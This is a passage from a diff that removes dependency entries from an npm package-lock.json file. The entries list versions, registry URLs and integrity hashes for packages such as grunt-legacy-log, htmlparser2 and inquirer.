"resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "requires": { - "lodash": "^4.17.10" - } - } - } - }, - "grunt-known-options": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/grunt-known-options/-/grunt-known-options-1.1.0.tgz", - "integrity": "sha1-pCdO6zL6dl2lp6OxcSYXzjsUQUk=", - "dev": true - }, - "grunt-legacy-log": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/grunt-legacy-log/-/grunt-legacy-log-2.0.0.tgz", - "integrity": "sha512-1m3+5QvDYfR1ltr8hjiaiNjddxGdQWcH0rw1iKKiQnF0+xtgTazirSTGu68RchPyh1OBng1bBUjLmX8q9NpoCw==", - "dev": true, - "requires": { - "colors": "~1.1.2", - "grunt-legacy-log-utils": "~2.0.0", - "hooker": "~0.2.3", - "lodash": "~4.17.5" - } - }, - "grunt-legacy-log-utils": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/grunt-legacy-log-utils/-/grunt-legacy-log-utils-2.0.1.tgz", - "integrity": "sha512-o7uHyO/J+i2tXG8r2bZNlVk20vlIFJ9IEYyHMCQGfWYru8Jv3wTqKZzvV30YW9rWEjq0eP3cflQ1qWojIe9VFA==", - "dev": true, - "requires": { - "chalk": "~2.4.1", - "lodash": "~4.17.10" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "grunt-legacy-util": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/grunt-legacy-util/-/grunt-legacy-util-1.1.1.tgz", - "integrity": "sha512-9zyA29w/fBe6BIfjGENndwoe1Uy31BIXxTH3s8mga0Z5Bz2Sp4UCjkeyv2tI449ymkx3x26B+46FV4fXEddl5A==", - "dev": true, - "requires": { - "async": "~1.5.2", - "exit": "~0.1.1", - "getobject": "~0.1.0", - "hooker": "~0.2.3", - "lodash": "~4.17.10", - "underscore.string": "~3.3.4", - "which": "~1.3.0" - }, - "dependencies": { - "which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - } - } - }, - "grunt-run": { - "version": "0.8.1", - "resolved": "https://registry.npmjs.org/grunt-run/-/grunt-run-0.8.1.tgz", - "integrity": "sha512-+wvoOJevugcjMLldbVCyspRHHntwVIJiTGjx0HFq+UwXhVPe7AaAiUdY4135CS68pAoRLhd7pAILpL2ITe1tmA==", - "dev": true, - "requires": { - "strip-ansi": "^3.0.0" - } - }, - "grunt-ssh": { - "version": "0.12.9", - "resolved": "https://registry.npmjs.org/grunt-ssh/-/grunt-ssh-0.12.9.tgz", - "integrity": "sha1-IVUaNzmB8Ooo3HmdOKdp5UzU2QQ=", - "dev": true, - "requires": { - "async": ">=1.0.0", - "progress": "~1.1.3", - "ssh2": "~0.4.6" - } - }, - "grunt-text-replace": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/grunt-text-replace/-/grunt-text-replace-0.4.0.tgz", - "integrity": "sha1-252c5Z4v5J2id+nbwZXD4Rz7FsI=", - "dev": true - }, - "grunt-wp-i18n": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/grunt-wp-i18n/-/grunt-wp-i18n-1.0.2.tgz", - "integrity": "sha512-s7DdR1wRYWvgeQOELL/s8AmWz0scVUq+h0yYVWvLx23kTXOBslvaD35NTvubyM+MO+k29bgND0gDDvS6sHixfg==", - "dev": true, - "requires": { - "grunt": "^1.0.2", - "node-wp-i18n": "^1.0.5" - } - }, - "har-schema": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", - "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", - "dev": true - }, - "har-validator": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.0.3.tgz", - "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", - "dev": true, - "optional": true, - "requires": { - "ajv": "^5.1.0", - "har-schema": "^2.0.0" - } - }, - "has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "dev": true, - "requires": { - "function-bind": "^1.1.1" - } - }, - "has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "has-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-1.0.0.tgz", - "integrity": "sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=", - "dev": true - }, - "has-symbols": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.1.tgz", - "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==", - "dev": true - }, - "has-unicode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", - "dev": true - }, - "has-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", - "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", - "dev": true, - "requires": { - "get-value": "^2.0.6", - "has-values": "^1.0.0", - "isobject": "^3.0.0" - }, - "dependencies": { - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "has-values": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", - "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", - "dev": true, - "requires": { - "is-number": "^3.0.0", - "kind-of": "^4.0.0" - }, - "dependencies": { - "is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "kind-of": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", - "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "hash-base": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-2.0.2.tgz", - "integrity": "sha1-ZuodhW206KVHDK32/OI65SRO8uE=", - "dev": true, - "requires": { - "inherits": "^2.0.1" - } - }, - "hash-sum": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/hash-sum/-/hash-sum-1.0.2.tgz", - "integrity": "sha1-M7QHd3VMZDJXPBIMw4CLvRDUfwQ=", - "dev": true - }, - "hash.js": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.1.tgz", - "integrity": "sha512-I2TYCUjYQMmqmRMCp6jKMC5bvdXxGIZ/heITRR/0F1u0OP920ImEj/cXt3WgcTKBnNYGn7enxUzdai3db829JA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "minimalistic-assert": "^1.0.0" - } - }, - "he": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/he/-/he-1.1.1.tgz", - "integrity": "sha1-k0EP0hsAlzUVH4howvJx80J+I/0=", - "dev": true - }, - "hex-color-regex": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/hex-color-regex/-/hex-color-regex-1.1.0.tgz", - "integrity": "sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ==", - "dev": true - }, - "hmac-drbg": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz", - "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", - "dev": true, - "requires": { - "hash.js": "^1.0.3", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.1" - } - }, - "home-or-tmp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/home-or-tmp/-/home-or-tmp-2.0.0.tgz", - "integrity": "sha1-42w/LSyufXRqhX440Y1fMqeILbg=", - "dev": true, - "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.1" - } - }, - "hooker": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/hooker/-/hooker-0.2.3.tgz", - "integrity": "sha1-uDT3I8xKJCqmWWNFnfbZhMXT2Vk=", - "dev": true - }, - "hosted-git-info": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.7.1.tgz", - "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==", - "dev": true - }, - "hsl-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/hsl-regex/-/hsl-regex-1.0.0.tgz", - "integrity": "sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4=", - "dev": true - }, - "hsla-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/hsla-regex/-/hsla-regex-1.0.0.tgz", - "integrity": "sha1-wc56MWjIxmFAM6S194d/OyJfnDg=", - "dev": true - }, - "html-comment-regex": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/html-comment-regex/-/html-comment-regex-1.1.1.tgz", - "integrity": "sha1-ZouTd26q5V696POtRkswekljYl4=", - "dev": true - }, - "htmlescape": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/htmlescape/-/htmlescape-1.1.1.tgz", - "integrity": "sha1-OgPtwiFLyjtmQko+eVk0lQnLA1E=", - "dev": true - }, - "htmlparser2": { - "version": "3.8.3", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.8.3.tgz", - "integrity": "sha1-mWwosZFRaovoZQGn15dX5ccMEGg=", - "dev": true, - "requires": { - "domelementtype": "1", - "domhandler": "2.3", - "domutils": "1.5", - "entities": "1.0", - "readable-stream": "1.1" - }, - "dependencies": { - "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true - }, - "readable-stream": { - "version": "1.1.14", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", - "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - } - } - }, - "http-parser-js": { - "version": "0.4.13", - "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.13.tgz", - "integrity": "sha1-O9bW/ebjFyyTNMOzO2wZPYD+ETc=", - "dev": true - }, - "http-signature": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", - "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" - } - }, - "https-browserify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz", - "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", - "dev": true - }, - "iconv-lite": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", - "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", - "dev": true, - "requires": { - "safer-buffer": ">= 2.1.2 < 3" - } - }, - "icss-replace-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/icss-replace-symbols/-/icss-replace-symbols-1.1.0.tgz", - "integrity": "sha1-Bupvg2ead0njhs/h/oEq5dsiPe0=", - "dev": true - }, - "icss-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-2.1.0.tgz", - "integrity": "sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=", - "dev": true, - "requires": { - "postcss": "^6.0.1" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "ieee754": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.8.tgz", - "integrity": "sha1-vjPUCsEO8ZJnAfbwii2G+/0a0+Q=" - }, - "iferr": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", - "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", - "dev": true - }, - "ignore": { - "version": "3.3.10", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-3.3.10.tgz", - "integrity": "sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug==", - "dev": true - }, - "iltorb": { - "version": "1.3.10", - "resolved": "https://registry.npmjs.org/iltorb/-/iltorb-1.3.10.tgz", - "integrity": "sha512-nyB4+ru1u8CQqQ6w7YjasboKN3NQTN8GH/V/eEssNRKhW6UbdxdWhB9fJ5EEdjJfezKY0qPrcwLyIcgjL8hHxA==", - "dev": true, - "optional": true, - "requires": { - "detect-libc": "^0.2.0", - "nan": "^2.6.2", - "node-gyp": "^3.6.2", - "prebuild-install": "^2.3.0" - } - }, - "image-size": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/image-size/-/image-size-0.5.5.tgz", - "integrity": "sha1-Cd/Uq50g4p6xw+gLiZA3jfnjy5w=", - "dev": true, - "optional": true - }, - "imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", - "dev": true - }, - "in-publish": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.0.tgz", - "integrity": "sha1-4g/146KvwmkDILbcVSaCqcf631E=", - "dev": true - }, - "indent-string": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz", - "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", - "dev": true, - "requires": { - "repeating": "^2.0.0" - } - }, - "indexes-of": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", - "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", - "dev": true - }, - "indexof": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/indexof/-/indexof-0.0.1.tgz", - "integrity": "sha1-gtwzbSMrkGIXnQWrMpOmYFn9Q10=", - "dev": true - }, - "infer-owner": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", - "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", - "dev": true - }, - "inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "dev": true, - "requires": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "inherits": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true - }, - "ini": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", - "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==", - "dev": true - }, - "inline-source-map": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/inline-source-map/-/inline-source-map-0.6.2.tgz", - "integrity": "sha1-+Tk0ccGKedFyT4Y/o4tYY3Ct4qU=", - "dev": true, - "requires": { - "source-map": "~0.5.3" - } - }, - "inquirer": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-3.3.0.tgz", - "integrity": "sha512-h+xtnyk4EwKvFWHrUYsWErEVR+igKtLdchu+o0Z1RL7VU/jVMFbYir2bp6bAj8efFNxWqHX0dIss6fJQ+/+qeQ==", - "dev": true, - "requires": { - "ansi-escapes": "^3.0.0", - "chalk": "^2.0.0", - "cli-cursor": "^2.1.0", - "cli-width": "^2.0.0", - "external-editor": "^2.0.4", - "figures": "^2.0.0", - "lodash": "^4.3.0", - "mute-stream": "0.0.7", - "run-async": "^2.2.0", - "rx-lite": "^4.0.8", - "rx-lite-aggregates": "^4.0.8", - "string-width": "^2.1.0", - "strip-ansi": "^4.0.0", - "through": "^2.3.6" - }, - "dependencies": { - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true - }, - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha1-q5Pyeo3BPSjKyBXEYhQ6bZASrp4=", - "dev": true, - "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - } - }, - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "requires": { - "ansi-regex": "^3.0.0" - } - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "insert-module-globals": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/insert-module-globals/-/insert-module-globals-7.2.0.tgz", - "integrity": "sha512-VE6NlW+WGn2/AeOMd496AHFYmE7eLKkUY6Ty31k4og5vmA3Fjuwe9v6ifH6Xx/Hz27QvdoMoviw1/pqWRB09Sw==", - "dev": true, - "requires": { - "acorn-node": "^1.5.2", - "combine-source-map": "^0.8.0", - "concat-stream": "^1.6.1", - "is-buffer": "^1.1.0", - "JSONStream": "^1.0.3", - "path-is-absolute": "^1.0.1", - "process": "~0.11.0", - "through2": "^2.0.0", - "undeclared-identifiers": "^1.1.2", - "xtend": "^4.0.0" - }, - "dependencies": { - "concat-stream": { - "version": "1.6.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", - "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - } - } - } - }, - "interpret": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.1.0.tgz", - "integrity": "sha1-ftGxQQxqDg94z5XTuEQMY/eLhhQ=", - "dev": true - }, - "invariant": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", - "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", - "requires": { - "loose-envify": "^1.0.0" - } - }, - "invert-kv": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", - "dev": true - }, - "is-absolute-url": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-2.1.0.tgz", - "integrity": "sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=", - "dev": true - }, - "is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - } - }, - "is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", - "dev": true - }, - "is-binary-path": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", - "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", - "dev": true, - "requires": { - "binary-extensions": "^1.0.0" - } - }, - "is-buffer": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.5.tgz", - "integrity": "sha1-Hzsm72E7IUuIy8ojzGwB2Hlh7sw=", - "dev": true - }, - "is-builtin-module": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz", 